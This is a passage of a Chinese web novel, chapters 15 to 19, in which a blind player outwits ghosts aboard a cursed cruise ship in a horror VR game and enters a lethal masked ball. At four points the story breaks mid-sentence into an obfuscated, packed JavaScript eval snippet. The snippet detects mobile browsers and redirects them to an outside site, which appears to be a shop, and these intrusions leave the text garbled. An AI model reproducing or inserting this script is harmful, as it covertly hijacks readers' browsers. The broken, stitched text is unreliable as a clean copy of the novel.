“你好像十分害怕我寻找真相。既然如此,之前为什么又将我引到公告栏前?” 不在意对方的沉默,薄瑜卿自顾自地往下分析,“还是说你打心眼里认为我完不成任务,所以才放心地让我接下英雌贴。” “……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982332|193293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “至于我是怎么发现你,很简单。船上没有一个活人,全都是雾气化作的幽灵。很有意思的是,你们每只恶灵的气息都有微妙差别。” “包括滴落的水痕——我虽然看不见,但我可以闻到或是听到。你那点小伎俩骗不到我,只会让我觉得你的装神弄鬼很拙劣。” 她平静地说完,末了,将话头抛给对方,“你还有什么要补充的吗?” “呵,没有了。” 悦耳动听的声音骤然一变,仿佛从少女变成老妪,显得格外鬼气森森: “从看到你拿出生锈的怀表那一刻起,我就知道你不是普通的冒险者。或许,你可以带领我们整支舰队逃离时间诅咒。” “哦?” 薄瑜卿稍稍抬高音调,唇角浮现出一丝嘲讽,“这个说法我可不太相信。” “因为你很清楚,我看不见怀表上面的时间。那么就算这个道具能够破局,对我来说也没有任何作用。恰恰相反,你此刻的出现让我确定了一件事。” 她上前两步,猛地将铁门重新推开。 外面的走廊上果然传来了零星脚步声,还有长短不一的惊惧叫声。 “大姥!” 正如无头苍蝇乱跑以摆脱幽灵追杀的谈忆眼尖地看到她,如看到救星般激动地向她大喊,“大姥,之前的事情是我不对,我不该怀疑你!再给我们一次机会吧,我们保证指哪打哪。” “是啊,大姥!我真的不想再死一次了!” 跟在她身后的两名队友也是眼睛一亮,跑步速度都加快两分。而混在其中的谢海面上虽有不服,可脚下倒是很诚实地追上来,眼看距离走廊尽头不足百米。顶多再有二十秒,她们便能抵达。 “你看,”薄瑜卿转头望向接待员的方向。无论何时,她仿佛都气定神闲,将局面牢牢掌握在自己手中,“你之所以这么迫不及待地暴露自己,只为将我引至这里。归根结底,是怕我找到能读出表盘上数字的人。” 谈忆她们的到来,恰好补足了她的视力缺陷。若她想弄明白怀表的秘密,就是分分钟的事。 “换言之,你从一开始就不想让这所谓的时间诅咒被破解。” 在她面前,雾气中的脸愈发惨白,怒吼中夹杂着几分被戳破的心虚: “是啊,被你发现了。你要怎么做?向女爵告发我吗?我可是她亲自提拔的——” “你想多了。” 薄瑜卿随手将铁门关上,隔绝了外面此起彼伏的呼救声。之后,她指指下面的门锁,“别让外面的人进来,你知道怎么做。” 反锁上大门,接待员再也忍不住面上的疑惑,“你难道不想让她们读出表盘上的数字吗?” “想啊。”薄瑜卿回答得干脆,“更多时候,比起探索真相,我更关心任务完成后的奖励。” “某种意义上,我们可以合作。” 她慢悠悠地将生锈的钟表从背包里取出,在指尖夹着转了一圈,“如果你能带给我足够的利益,这个时间诅咒我可以当做没听说过。” 霎时间,她听到对方颤抖且急促的呼吸。 16.第 16 章 “砰砰砰!” 谈忆在外面用力拍门,可大门就像一堵铜墙铁壁,纹丝不动。 “我来试试。” 一个队友飞起一脚,末了,他惨叫一声,抱着脚呲牙咧嘴,“我的血量扣了5点!” “怎么办啊?幽灵要追上来了!你们还有谁有办法?” 谢海急急忙忙推开他,大吼,“喂,你在里面吗?开门!快开门啊!” “别乱喊。” 谈忆眼皮一跳,立马向另外两个队友使了个眼色。她们共同捂住谢海的嘴,将他架到旁边。 她现在已经后悔邀请对方进入队伍。她们四人虽然在现实中认识,但谈不上多深的情谊,只是家世相当,且都订购了一批最新的顶级游戏舱,机缘巧合凑到一起了而已。 加之谢海一直说他父亲和天霸集团的董事长有交情,能拿到游戏内部的福利,她这才同意一起行动。 “大姥大姥,你在里面吗?” 忽明忽暗的光线让每个人的脸色都青白交加,连带墙角湿答答的水痕也显出几分诡谲。 而在水珠反射的光晕中,她清楚地看到一团惨白的雾气缓慢凝成实质。 “吱嘎——” 身后不远处的门突然齐刷刷地应声而开,一双双猩红的眼睛从雾气中浮现,贪婪地盯着她们的方向,目光中的恶意几乎要溢出来。 此时的走廊尽头前路被堵死,后面又有追兵,她们完全处于中捉鳖的境地,求生不得,求死不能。 “要、要不还是下线吧!” “对,我们下线躲躲吧。” 有人忍不住疯狂点击下线按钮,然而听到的却是系统冰冷的提示音: 【您正处在战斗状态,无法下线,请稍后再试。】 “啪嗒、啪嗒。” 水滴声清晰地传入耳畔,雾气之中流出一条条蜿蜒水渍,像是在地面爬行的蛇,眨眼间抵达她们脚下。 那一刹,谈忆仿佛听到了一万块钱消失的声音。虽然这些钱不至于让她心痛,可短短数分钟就烧了两万,还是在新手副本,不免让她怀疑自己是否适合这个游戏了。 以至于当铁门在她面前打开时,她还觉得是自己眼花。 “不进来吗?” 薄瑜卿向旁边挪了一步,让出通道。 几乎同时,四人如梦初醒,慌不择路地往里面挤。 “砰!” 铁门再度上锁,将细密急促的水滴声隔绝在外。 “多谢大姥救命之恩!” 谈忆来不及喘气,惊魂未定地道谢。 “谢谢大姥!” 另外两个队友也跟上她的节奏,连声感谢。 “有没有兴趣和我共同完成一个任务?” 薄瑜卿没有太在意她们夸张的表演,直截了当地抛出诱饵。 “当然愿意!”谈忆不假思索地说,末了,又小心的补了一句,“大姥,具体是什么任务?” “解开船上水手消失的谜团。” 薄瑜卿顿了顿,话锋一转,“我本来没打算将这个任务共享,但很可惜,我手上的一个关键道具需要有人帮我念出上面的字,所以我希望找人合作。” “好,那我……” 谈忆望着眼前弹出的提示,不假思索地点下接受。 “等等,为什么时限只有三个半小时?”谢海满脸怀疑,第一时间提出异议,“这艘船那么大,我们就算地毯式搜寻,挨个找人问,三个半小时也太短了些。” “好像是这样的。” 另外两个队友原本要按下接受键,听他这样说,难免犹豫不决,“大姥,这个任务我们该怎么完成啊?” “是啊,大姥,你有办法吗?” “你们可以不接受,我无所谓。” 听到任务人数变为两人的提示音后,薄瑜卿随手将邀请取消。 “上面显示几点?” 她只将怀表共享给了同样接受任务的谈忆。 “二十……八点半。咦,表针怎么在倒着走?” 对方仔细看了两眼,惊呼道。 “八点半啊,”薄瑜卿转头望着虚空,自言自语,“八点之后,休闲甲板上会举办娱乐活动。” 似是确定了目标,她推开门,拄着盲杖走了出去。 乳白色的雾气触碰到她时像是触碰到黑洞,眨眼间消失无踪。而那些血红色的眼睛则怨毒的盯着她,却似在顾忌着什么,迟迟保持着一定距离,不远不近地在后面跟着。 “我先走了,你们要是不想跟来也没关系。” 谈忆当机立断跟在她身后。上次的窒息死亡实在太恐怖了,她再也不想经历第二遍。 根据她的复盘,上一次的失误就在于将薄瑜卿的话当作耳旁风。这一次,她完全吸取教训,从二话不说接下这个看似不可能完成的任务,她就决定跟着对方一条路走到黑。 自小看母父白手起家,这些年在生意场上起起起伏伏,她无比清楚得到大姥的指点有多重要。搭上线之前,自己一定要先做出表示,更何况她们之前还不小心得罪了对方。 她走出没两步,听到身后传来鬼鬼祟祟的脚步声。回头一瞥,另外三个队友倒是诚实地跟了上来。 “刚才那么好的机会,你们怎么不抓住?” “我倒是想接来着,就犹豫了一下,哪知道她就给取消了!” 其中一人满脸懊恼。 她们都很清楚就算现在不走,最后结局也是被困在那间放置救生艇的舱室。还不如借着大姥的光,先离开这里再说。 “我丑话说在前面,一会到甲板上,如果你们还跟在后面,别怪我不客气。” 谈忆深知游戏世界中存在抢怪这种现象,哪怕是无法攻击玩家的新手村,若真想抢也有办法。现在她跟薄瑜卿绑在同一条船上,自然要提前将危险扼杀在摇篮中。 “哎哎,当真觉得自己抢了个香饽饽啊。三个半小时,哪个任务时限这么短?你们能不能完成还不知道呢,别忘了任务失败的后果!若要被逐出游轮掉进大海里,只有淹死这一条路。”谢海翻了个白眼,嘟囔着“谁稀罕”。 “你——”谈忆正想反驳,可口中一时没有合适的词。纵然她对薄瑜卿表现得信任,可短短三个半小时,真的能完成吗?她心中也没底。 “哒、哒。” 薄瑜卿全然没在意身后的小尾巴,更没有将她们的争执放在心上,始终按照她记忆中的路线往前走。 水滴声在渐渐消退,阴冷感同样。原因不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990587|193293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是因为那些幽灵害怕她,而是此刻悬浮在她头顶的有一个更为可怖的“东西”。有“它”在,低等级的幽灵根本不敢靠近。 但这一幕落在其她几人眼中就变了味道。 “真的不是bug吗?”谢海在一边低声吐槽,“难不成游戏对于残障人士有专门的友好通道,还能免疫攻击?改天我也办一个残疾证。” “你少说两句吧!” 谈忆回过头,狠狠瞪他一眼。 “我还真就不信了,必须得让客服查查怎么回事。”谢海嘁一声,点开游戏菜单,准备联系官方。若是举报有效,他还能获得奖励。 然而就在这时,一支悠扬的曲子透过通风口倾泻而出,传入每一个人耳中。 音符一会高昂,一会悲壮,一会欢快,一会哀婉,仿佛有无数个乐器同时弹奏,却又巧妙地融合在一起,每一首曲子都难分伯仲。 如同一场奇妙的听觉盛宴,让人不自觉地沉浸其中,心神随之激荡。 “舞会开始了!” “对,快点去,绝对不能缺席这场伟大的庆典。” “等等我!我要给女爵殿下留个好印象……” 窃窃私语声如潮水涌来,雾气不再总是徘徊在她们身侧,反倒像受到指引般朝游轮中心奔涌。 狂风大作,反倒进一步加剧了白雾的浓郁。 “舞会,舞会。”谢海眼神呆滞地喃喃,突然手舞足蹈起来,跟随雾气向前冲去。 而在他后面,另外两个队友也踉踉跄跄地跟上,眼中尽是迷茫与兴奋交叠的奇异色彩。 “对,舞会开始了!要去、去——” 谈忆茫然地转过身,刚迈出一步,膝盖忽然被细细的盲杖敲了一下。 “哎哟!” 她咣当摔倒在地,突如其来的疼痛让她混沌的大脑有片刻断片。待到眼神恢复清明,她才反应过来自己刚才做了些什么举动,脸上尽是后怕之色“我这是怎么了?” 她觉得自己仿佛着了魔般,满脑子只剩一个念头:去舞会一探究竟。若是谁敢拦在她前面,她一定会将其狠狠推开。 “走吧,去看看。” 薄瑜卿转过身,平静地说。对谈忆而言,这句话不亚于在她心中埋下一颗惊雷。 “啊?不是,大姥,我们真的要去啊?” “嗯,甲板上的休闲活动多半已经结束了。” 薄瑜卿摩挲着掌心生锈的表盘,脚步不停,“你别忘了,时间是倒着走的。” “唔……” “若是再不抓紧时间,待会舞会也要结束。我们除了在船上散了会步,什么发现都没有。” 说着,她已经走下台阶,“你不用担心自己会再度中招。这首曲子只模仿了个形,没有神。熬过了开头,后面就形同虚设。” 谈忆下意识地点头,心不自觉放回肚子里。半晌,她钦佩地问,“大姥,你还懂音乐?” “闲暇时编过一些曲子。” 薄瑜卿没有多谈,她不会说这首《归墟无疆》曾是她亲自监督制作。只可惜成品并没有达到她的要求,因而被她精益求精地从游戏中剔除。 没想到如今会改头换面地送到她耳边,还是拼凑版。 “这首歌改的真烂。” 17.第 17 章 通向舞厅的路上,有一道特意修建的玻璃栈道。 从上往下看,漆黑的海水不断翻涌,玻璃下方依稀可见一排排锋利牙齿。体型庞大的食人鱼像是知道猎物就在上边,虎视眈眈地徘徊,有如缸口大的嘴巴磨在船的底部,发出令人牙酸的咔嚓声。 这本来是作观赏之用,可在四周雾气朦胧、阴气森森的氛围下,反倒生出些危机四伏之感。 “哒、哒。” 薄瑜卿踩上去的刹那,像是激起一个信号,底下的食人鱼顿时激动起来,疯狂地撞击,在游轮底部发出响亮的咚咚声。 跟在她后面的谈忆见状,忍不住打了个哆嗦:玻璃若是不小心裂开,那岂不是……光是想想,她就觉得寒气从脚底一直窜到头顶。 可薄瑜卿像是丝毫没有察觉般,仍然在不紧不慢地往前走,盲杖有序的敲击声和食人鱼们兴奋的冲撞融合在一起,形成一首诡异的旋律。 “大姥,这会不会塌呀?”谈忆几次迈出脚步,又被那一排排森白的利齿吓回去。 “正常情况下,玻璃栈道每平方米能承载350公斤以上。如果你觉得你超重,可以不跟过来。” 说完,薄瑜卿在尽头站定。大约过了两分钟,对方一路狂奔小跑而来。 此刻横在她们面前的,是一条长长的、倾斜向下的旋转台阶。 在阶梯两旁站着一团勉强凝成人形的雾气,它的前面摆着一个巨大的铁皮箱子。 “需要面具吗?” 每一个从其跟前走过的宾客都会听到这样一句毫无起伏的话,但不是每个人都有资格让它打开箱子。 “你的钱不够。”侍者牢牢将手按在箱子上,语调冰冷,“需要五个银币。” 而站在它面前的瘦弱人影讪讪缩回手,又从口袋里掏出几个铜板,语气不觉带上讨好之意,“麻烦给我一个吧,随便哪个都好。” 侍者接过铜板,随手丢入投币箱里。之后,变戏法般从身后取出一张纸质面具交给它。 “谢谢。”对方明显松了一口气,连忙将其扣在脸上,慌不择路地朝台阶下面跑去。 这段小插曲很快被后面汹涌而来的人影盖过。 “所有人都买了面具吗?” 薄瑜卿自是将这段对话一字不落的听入耳中,问道。 “不是,十个里面会有一两个人不买,直接进去。” 并非每一个人影都能拿出足量金钱。有些两手空空者苦苦哀求未果,被侍者一把给推了进去。谈忆将这个发现也如实告诉对方。 她又观察了一会,“剩下的人交的钱在两个铜币到十个铜币之间,暂时没看到更高的。” 话虽如此,她心里隐隐有些不安。 要知道,她和之前的队伍进入雾骸村以来,看似干了很多事,但都是在给村长打白工。到头来一个铜板都没捞着,身上可谓一穷二白。 “大姥,你有铜币吗?我可以用心智碎片买!” 谈忆咬咬牙,发出了交易提示。 在《地狱登神》这款游戏中,氪金只能获得心智碎片,无法买到作为基础货币的金银铜币。这也就造就了有些玩家虽然有钱,但可能游戏里面的真实身价还是一穷二白。 因为这点也被无数玩家诟病,但游戏公司有自己的解释:若是氪金等于无敌,怎么制造惊吓感? “我没有铜币。” 薄瑜卿将交易驳回,向着侍者走去,似要和其交涉。 许是为了证明自己的价值,谈忆抢先开口,“您好,面具只能用铜币换吗?我们是登船的客人,身上有其它贵重物品,您看是不是可以——” 然而这一次,她无往不利的高魅力值仿佛在此刻失效。侍者连听都没有听完,就不耐烦地打断道,“没钱就滚!别挡着其她人买。” 霎时间,周围温度骤然下降。 “多买有优惠吗?”薄瑜卿仿佛没察觉到这突然的变故,轻飘飘地问。 “我们都是明码标价的,不议价。”看到她,侍者忍不住将干枯的脖子往前探,鼻尖朝上方嗅了嗅,眼底浮现出一抹人性化的忌惮。 “听上去可不是。” 薄瑜卿指了指它手边的箱子,语气徒然加重,“每个人过来时,你向她们要的铜币和银币都不一样。试问,你递出去的每张面具也不一样吗?” 她的听力让她能轻松辨别出铜板掉入箱子里的不同脆响。哪怕再细微,也逃不过她的耳朵。纸质面具也是同样,根据声音,她能推断出材质为同一种。 “这、这……” 侍者没料到她会直接指出,不免词穷,毫无血色的脸颊变得愈发惨白。 旁边的谈忆也是一阵惊讶:她有视力都没有看清交出去的铜板是几个,而薄瑜卿却能听出差别。 “九枚银币两个,不能再低了。” “六枚,三张,否则我就戳穿你。” “……成交。”侍者一脸阴郁的伸手接过她递出的一枚金币,放在嘴里咬了咬,这才放入投币箱,而后不情不愿地翻出四个银币。 “大姥,你居然有金币!”谈忆忍不住感叹起来,“怎么做到的?好厉害!” “运气比较好。” 薄瑜卿并未多说。金币纯粹是意外收获,或者说村长这些年贪的不少,最后都便宜了她。 很快,她听到“吱嘎”一声,似是箱子打开,侍者在里面翻找面具。 她顺手将谈忆再度发来的交易请求关闭,“看一下里面都有哪些面具?” “是。” 经历过刚才一遭,对方对她可谓言听计从。此刻也不顾侍者不善的目光,探头就往箱子里看。 “有红色的笑脸和白色的哭脸这两种。”她顿了顿,努力回忆刚才看到的其它面具,“那些纸质面具上好像没有表情。” “总共有三种啊。” 薄瑜卿若有所思。她又伸手在箱子里面摸了摸,面具表面冰冰凉凉,除了嘴角弧度的差别,再无其它。 隐约中,她听到侍者幸灾乐祸的笑声,“正好最后两张,适合你们两人佩戴。” “大姥,在游戏中贵的一般都不会出错。我觉得无论带哪个走,应该都是生路。”谈忆提出自己的看法。 “好啊,你先选吧,我无所谓。” 薄瑜卿点点头,像是真的认同她一般,往旁边挪了一步。 “啊?我先选?” 这一下把谈忆弄得有些不知所措。她的目光游离在两张表情截然相反的面具上,犹豫不决。笑脸笑得很诡异, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997321|193293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是在哭。而哭脸又哭得漫不经心,像是在笑。若要真的选一个,她觉得哭脸可能更接近正确答案,毕竟这游戏喜欢设置看似错误的选项迷惑玩家。 “选哭脸”三个字堵在喉咙里。正要说出口,她余光扫见薄瑜卿古井无波的脸色,心中悚然一惊。 “这不合适吧。”她深吸一口气,强压下求生的欲望,摇摇头,“钱是大姥你付的,自然要你先选才对。妳选一个,我拿剩下的。” “你倒是能沉得住气。” 薄瑜卿扬起唇,笑意转瞬即逝,不慌不忙地接上后半句,“在我看来,这两种面具都不是正确答案。” 若是刚才谈忆先选,她不会说什么,但在她心里,对方已然从合作的名单中剔除。毕竟只顾着眼前这点蝇头小利的人,自然会在危急关头独自逃生。压下求生本能并不容易,而验证这一点,她总共只花了三个银币。 她抚摸着箱子外缘,语气淡淡,“这么大的箱子,只装两张面具,未免有些说不过去吧。” 这一次,侍者的眼神彻彻底底变了,表面仍在强装镇定,“我不明白你在说什么。要是不选,我可就把箱子盖上了!” 薄瑜卿伸手到底部敲了敲,“视野中,焦点之外即是盲点。你打开箱子的刹那,我们只会看到放在底部的两个面具,而忽略了其它大片空间。正因为我看不见,所以没有先入为主。” “面具不一定是有形的,也有可能是无形的。就像你凭空拿出来的纸质面具一样,对吗?” 她空洞的眼窝静静注视着神色急剧变化的侍者,良久,她听到对方不甘的问: “你到底是谁?!” “我是你们邀请过来的宾客。” 似是耐心耗尽,薄瑜卿的声音冷下来,“是不是该把真正的面具给我们了?还是说你更希望我们自己拿。” “给,都拿走。” 对方无力地摆摆手,捧出两团近乎和空气融为一体的白雾。 薄瑜卿直接将其敷在脸上,剩下一团则做了个随手上抛的动作。几乎同时,她听到来自系统的提示: 【获得装备:舞会面具(限量款,参加一次舞会后失效。当前使用次数:1/1)】 【装备介绍:它就像一团雾气遮挡住您的真实面貌、声音、性别,没有人可以透过其窥探到您的真实身份。在舞会中,您是彻底的“透明人”,但透明恰恰意味着安全。】 见她戴上,谈忆也照葫芦画瓢地照做。等到提示音响起,她立马长舒一口气,“太好了!” ——跟着大姥,这把稳了。 心中涌出无限庆幸之余,她忽然觉得三个半小时内查清水手失踪的连环事件也并非不可能。 下一秒,生锈的怀表出现在她眼前。 不需要薄瑜卿开口,她已然读出上面的数字,“八点整,咦?表针……表针又开始正着走了!” “哦。” 薄瑜卿用盲杖的一端点着台阶,继续向下走去,“六枚银币的舞会,一起?” 她心血来潮分给对方一张面具的原因自然不是好心。根据她生前参与过的数不尽的舞会,舞伴是某种意义上的必要条件。 比起随便找一个不稳定因素,她更喜欢将一切牢牢掌控在自己手中。 18.第 18 章 台阶的尽头是一扇敞开的雕花大门。 悦耳的旋律就是从里面倾洒而出,如同一阵不易察觉的微风,从每个人耳边流入心底,经久不息。 薄瑜卿能清晰地感觉到,一团团雾气急切地从身旁擦肩而过,腐臭中夹杂着熟悉的潮湿气味。 她并未停下脚步。 “哒、哒。” 盲杖敲击在地板上,发出清脆响声,转眼间便淹没在愈发嘹亮的音符里。 “大姥,舞厅里的布置是这样的。” 不等她开口,谈忆自觉地开始描述起看到的景象,“上方有十三盏水晶吊灯,每一盏都点着十三根蜡烛。可是光线只照亮了舞池的一半,还有一半是漆黑的,钢琴声就是从那里面传出来。” “嗯,有看到你的同伴吗?” “唔,我找找。” 将目光重新投向那些舞池中央翩翩起舞的宾客身上时,谈忆不绝“啊”了一声。 那些人的面上全都是如白纸般薄薄一层、毫无表情的脸。如果仅是一两张,顶多会觉得奇怪,可一下成百上千张完全趋同的面孔,加之打量的目光时不时隐秘地向她们投来,她只觉得毛骨悚然。 在舞池中间倒是有一小撮没戴面具的人,它们的表情要稍微鲜活一些,满眼沉醉,仿佛在做一个无法醒来的美梦。时不时哈哈大笑,或夸张地呜呜大哭,五官仿佛蛇一般扭曲着。但它们很快被排挤在外,由黑暗吞噬。 “我看不到谢海他们。” 良久,她摇头道,“戴面具的人脸都很模糊,没戴面具的……很古怪。” “模糊么,我知道了。” 薄瑜卿将盲杖收起,冷不防问出一句,“会跳双人舞吗?” “啊?” …… 如果不是在危机四伏的幽灵船上,谈忆真想将此刻翩翩起舞的两人截个图再发到论坛,肯定能收获[爆]字。 她自诩出身优渥,从小也接触过礼仪舞蹈,样样精通,可是和对方一比,她难免觉得自己是小巫见大巫。 并非舞蹈技术上的差别,薄瑜卿的神色自始至终都很平静,仿佛这只是无数交际舞会中最不起眼的一场。再加上对方双目失明,这样的反差未免让她觉得恍恍惚惚。 “大姥,你现实中是干什么的呀?如果不方便回答的话就算了。” 她实在忍不住好奇心,在音乐播至间奏时悄声询问。 “当前算是无业游民。” 薄瑜卿认真地想了想,“我来参加这个游戏,就是想通过S级噩梦副本,从而找到一份全息网游类的工作。” 她顶着薄暮的身份,这么说倒也符合真实情况。 “S级噩梦副本?!” 谈忆重复一遍,一瞬间,面上的表情难掩惊诧。 “嗯,你对这类副本有了解吗?” “我在玩《地狱登神》这款游戏前,曾专门了解过它的难度体系。” 她组织了一下语言,将自己所知道的一股脑如倒豆子般说出来: “通关新手副本后,我们就相当于成为这个游戏的正式玩家,可以自主挑选进入不同难度的关卡。但并非所有人都有资格选择S级噩梦副本,必须要在上一个副本中得到A级以上的评级,才能够解锁。” “也就是说,如果我在新手副本中拿到S级,那么也可以进入S级噩梦副本。” 薄瑜卿总结道,“是这个意思吧?” “对。”谈忆刚想说新手拿到S评级几乎是不可能的事情,可是想到对方出人意料的本事,倒觉得这也并非全然无望。本着结交的想法,她进一步说出自己知道的信息: “目前只有两个玩家通关过S级副本。一个是有名的独行玩家奚灵寒,行事风格阴晴不定,副本里专门挑男玩家杀;另一个是飞花摘叶公会的幸然,她人很好,总是在论坛里为新手答疑。” “就连现在红极一时的天下无双公会会长萧哲,当初过新手副本时,也才拿了A评级。不过据他所说,是为了救他的未婚妻,才耽搁了些时间,被鬼魂白白杀了一次。” 后半句话,薄瑜卿压根没往耳朵里进。 她又不是薄暮,自然不会对其名义上这个未婚夫有任何感情,甚至听到对方的名字就觉得晦气。但薄暮到底是她的后人,萧哲对之做的一切、甚至哄骗其卖掉股权就是在她坟头上挑衅,她自然不会任其逍遥。 奚灵寒和幸然。她默默将这两个上来就拿到最高评级的玩家记下,以后如果有机会,她倒是想和之聊聊,看是用什么办法破解她千年之前留下的谜团。 迄今为止,她已经在这个游戏中找到了太多她亲手设计的影子。除了署名不是她的,其余的她或多或少都有印象。 “大姥,噩梦副本除了难度高,还特别吓人。” 谈忆没有注意到她突然间的沉默,仍在滔滔不绝,“我在论坛上看到一个居民楼杀人魔事件,玩家必须指认出恶鬼的身份。但在实际任务过程中,每天晚上杀人魔都会准时出现索命。通关的那人足足死了二十三次才机缘巧合地发现:原来杀人魔住在一个不存在的房间。如果换作我,别说死那么多次,死个两次我都受不了,要退游。” 她心有余悸地说。 “游戏规则里不是写着,花费心智碎片可以复活么?” “是这个道理。不说死亡时的逼真感受,前两天不才出了一个案子——天下无双公会的邴辉从游戏舱里出来,直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002779|193293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接变成了植物人。目前调查不出他的死因,像是在游戏中遭到某种精神重创,从而导致脑死亡,这还是全息游戏上市以来发生的第一起命案。” “第一起啊。” 薄瑜卿扯了扯唇角,露出少许弧度,“这只是个开始而已。” “大姥,您说什么?” “没什么,注意观察,周围环境有变化。” “啊?好的。” 谈忆现在完全将她的话奉为圭臬,立马朝四周看去。 此时,头顶吊灯的照明范围进一步缩小,仅在地上打出个方圆二十米的圆圈。在那之外,则是大片令人不安的浑浊黑暗。 但门口涌进来的面具人丝毫没有减少,反而越来越多。乳白色的影子拥挤在一起,几乎人贴着人,雾气粘连着雾气,灰蒙蒙一片。 乐曲骤然变得激昂,鼓声与长号的比重明显增加,每一下都好像敲在人心上,带着不安的回响。 “啪嗒,啪嗒。” 水滴落下,如展开的蜘蛛网蔓延至阴影里。 面具人的脸于此刻开始融化,就像蜡烛燃烧时滴落的粘稠蜡油,慢慢地从它们身上剥落。离奇的是,它们浑然不觉,仍然沉浸在这场狂欢之中。 “我看到谢海了!”谈忆惊呼一声,“等等,他们是在——” 都是一穷二白的新人,她手里没有铜币,谢海三人亦是如此。因而,他们自然选择不戴面具。 现在,那三人各自为营,由黑暗中滑向光下。他们身上均是湿漉漉的,仿佛刚从水里爬出,头发粘成一缕缕,好不狼狈。 融化的雾气似是从身体里面冒出,像不断喷水的喷泉,仍在浸湿他们的衣服,却无法改变他们脸上僵硬的笑容。就像一个个提线木偶般,被鼓点牵动着机械旋转。那一刹,他们不再是玩家,而是无数面具人的一员。 “嘶——” 古怪的喘息声混杂在乐器里,一会高,一会低,诡异地和曲调相融。 “终于要来了。” 薄瑜卿神情自若地取出盲杖,缠在上面的渔网紧缩着,细线不觉竖起,像是意识到此刻暗流汹涌的氛围。 光圈进一步缩小,已然不足十米,堪堪照亮她们脚下。 跌进光圈范围之外的面具人们仿佛按下消失键,从舞厅里被无声移除,之后再也没出现过。 剩余的脸上都融化得坑坑洼洼,看不出原本的模样,只剩一个和纸一样薄的后脑勺。即便如此,它们仍然努力在光滑的地面上旋转。 “咕噜,咕噜。” 吮吸声响起,夹杂着一股难言的恶臭。 “啊!”谈忆惊叫一声,指着昔日的同伴,嘴唇直打哆嗦,“他、他脸上是……” 19.第 19 章 “咕叽。” 轻微的鸡蛋破壳声仿佛一个信号,刹那间,谢海的头如烟花炸开,喷洒出星星点点黑色浑浊液体。 “沙沙……” 细碎的蠕动声随之响起。光洁的地板上,黄豆大的黑色颗粒左右蠕动着,渐渐长出完整的脑袋和尖尖尾巴,仿佛身体被拉长的蝌蚪。 它们迅速钻入一道道雾气凝聚而成的人影中,宛若灵活的游鱼在之血肉间游走,像一道不祥的闪电。 霎时间,原本就即将溃散的人形彻底崩塌,如同融化的雪堆被黑色一点点蚕食干净。 水晶吊灯仅剩下一盏,散发出微弱的、摇摇欲坠的光芒,随时有可能熄灭。 “呼……” 在她们前方两米处,已然被伸手不见五指的黑暗覆盖。更深处,莫名且急促的喘息仍在回响。 “大姥,我们该怎么办?”谈忆哪见过这架势,一种强烈的反胃感涌上喉咙,脸色不觉变得惨白。 若是不小心沾上那些怪东西……她仅仅在脑海中产生这个设想,就觉得眼前一阵眩晕,随即是强烈的后怕。届时,她定会不惜一切代价退出游戏,总好过眼睁睁看自己被“寄生”成怪物。 “他脸上是什么?” 薄瑜卿接着刚才她没说完的话问,面上是近乎冻结的漠然。 “唔,是虫、虫子……”谈忆强忍着恶心,将谢海的异状复述一遍,“现在那些虫子满大厅都是,我们脚下也有。” 许是被系统判定为绝对安全的空气面具发挥了作用,那些豆大的颗粒并没有攀附上她们衣角,反倒视若无睹地在附近徘徊。 “等到大厅里彻底变为黑暗时,我们不一定会如此幸运。那些被吃干抹净的面具人,就是我们的下场。” 薄瑜卿仿佛猜出她心里在想什么,平静地添上一句。 “什么意思?!”谈忆悚然一惊。 “仔细看看,你的同伴手里有没有攥着类似纸张的物品。这场舞会,应该有‘规则’。” 闻言,谈忆急忙抬眼望去,谢海此时的尸体就横在距离她们两步远的位置。她脑中乱糟糟的,来不及思考其为什么没有选择复活,本能地按照薄瑜卿说的去做。 “手里没有,但他的口袋——” “取出来。” 薄瑜卿斩钉截铁地打断,“如果你不敢,告诉我在哪,我来取。” 此时,最后一盏灯也开始忽明忽暗。阴影仿佛隐藏在暗处的魑魅魍魉,嗅到猎物的气味而变得出奇活跃,迫不及待地在地面上发出沙沙声。 谢海的尸体正在慢慢被其吞噬,随时有可能彻底消失。 